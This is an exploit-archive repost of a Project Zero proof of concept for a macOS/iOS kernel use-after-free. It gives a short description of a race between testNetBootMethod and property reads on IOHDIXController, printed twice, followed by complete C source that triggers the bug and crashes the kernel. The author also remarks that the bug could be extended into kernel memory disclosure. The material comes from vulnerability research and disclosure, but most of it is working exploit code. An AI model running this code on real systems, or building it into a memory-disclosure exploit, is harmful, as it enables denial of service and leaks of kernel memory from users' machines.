Apple Mac OSX / iOS - Kernel UAF Racing getProperty on IOHDIXController and testNetBootMethod on IOH

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=732
 
This is perhaps a more interesting UaF than just racing testNetBootMethod calls as there looks to be a path to getting free'd memory disclosed back to userspace.
 
Although the copyProperty macro used by is_io_registry_entry_get_property_bin takes the entry's properties lock before reading and
taking a reference on the property the testNetBootMethod external method directly calls the overriden setProperty without
taking that same lock. ::setProperty calls ::release on all the properties before nulling them out then replacing them
with new objects - we can get a UAF if we can get that ::release call to happen before the ::retain in copyProperty.
 
This PoC will crash as a UaF but with more care I believe you could get the OSSerialize to serialize an invalid object
leading to a nice kernel memory disclosure.
 
Tested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2
*/
 
//ianbeer
 
//build: clang -o hdix_race_get_set hdix_race_get_set.c -framework IOKit -framework Foundation -lpthread
 
/*
OS X/iOS kernel UAF racing getProperty on IOHDIXController and testNetBootMethod on IOHDIXControllerUserClient
 
This is perhaps a more interesting UaF than just racing testNetBootMethod calls as there looks to be a path to getting free'd memory disclosed back to userspace.
 
Although the copyProperty macro used by is_io_registry_entry_get_property_bin takes the entry's properties lock before reading and
taking a reference on the property the testNetBootMethod external method directly calls the overriden setProperty without
taking that same lock. ::setProperty calls ::release on all the properties before nulling them out then replacing them
with new objects - we can get a UAF if we can get that ::release call to happen before the ::retain in copyProperty.
 
This PoC will crash as a UaF but with more care I believe you could get the OSSerialize to serialize an invalid object
leading to a nice kernel memory disclosure.
 
Tested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
 
#include <IOKit/IOKitLib.h>
 
#include <libkern/OSAtomic.h>
 
#include <mach/thread_act.h>
 
#include <pthread.h>
 
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
 
#include <CoreFoundation/CoreFoundation.h>
     
unsigned int selector = 0;
 
uint64_t inputScalar[16];
size_t inputScalarCnt = 0;
 
uint8_t inputStruct[4096];
size_t inputStructCnt = 0; 
 
uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;
 
char outputStruct[4096] = {0};
size_t outputStructCnt = 0;
 
io_connect_t global_conn = MACH_PORT_NULL;
 
void set_params(io_connect_t conn){
  char* payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
  global_conn = conn;
  selector = 4;
  inputScalarCnt = 0;
  inputStructCnt = strlen(payload)+1;
  strcpy((char*)inputStruct, payload);
  outputScalarCnt = 0;
  outputStructCnt = 0;  
}
 
void make_iokit_call(){  
  IOConnectCallMethod(
      global_conn,
      selector,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
}
 
OSSpinLock lock = OS_SPINLOCK_INIT;
 
void* thread_func(void* arg){
  for(;;) {
    int got_it = 0;
    while (!got_it) {
      got_it = OSSpinLockTry(&lock);
    }
 
    make_iokit_call();
  }
  return NULL;
}
 
int main(int argc, char** argv){
  kern_return_t err;
  OSSpinLockLock(&lock);
 
  pthread_t t;
  pthread_create(&t, NULL, thread_func, NULL);
 
  mach_port_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
                                                    IOServiceMatching("IOHDIXController"));
 
  mach_port_t conn = MACH_PORT_NULL;
  IOServiceOpen(service, mach_task_self(), 0, &conn);
   
  set_params(conn);
  for(;;) {
    OSSpinLockUnlock(&lock);
    CFTypeRef p = IORegistryEntryCreateCFProperty(service,
                                                  CFSTR("di-root-image-result"),
                                                  kCFAllocatorDefault,
                                                  0);
  }
  return 0;
}

#  0day.today [2018-01-05]  #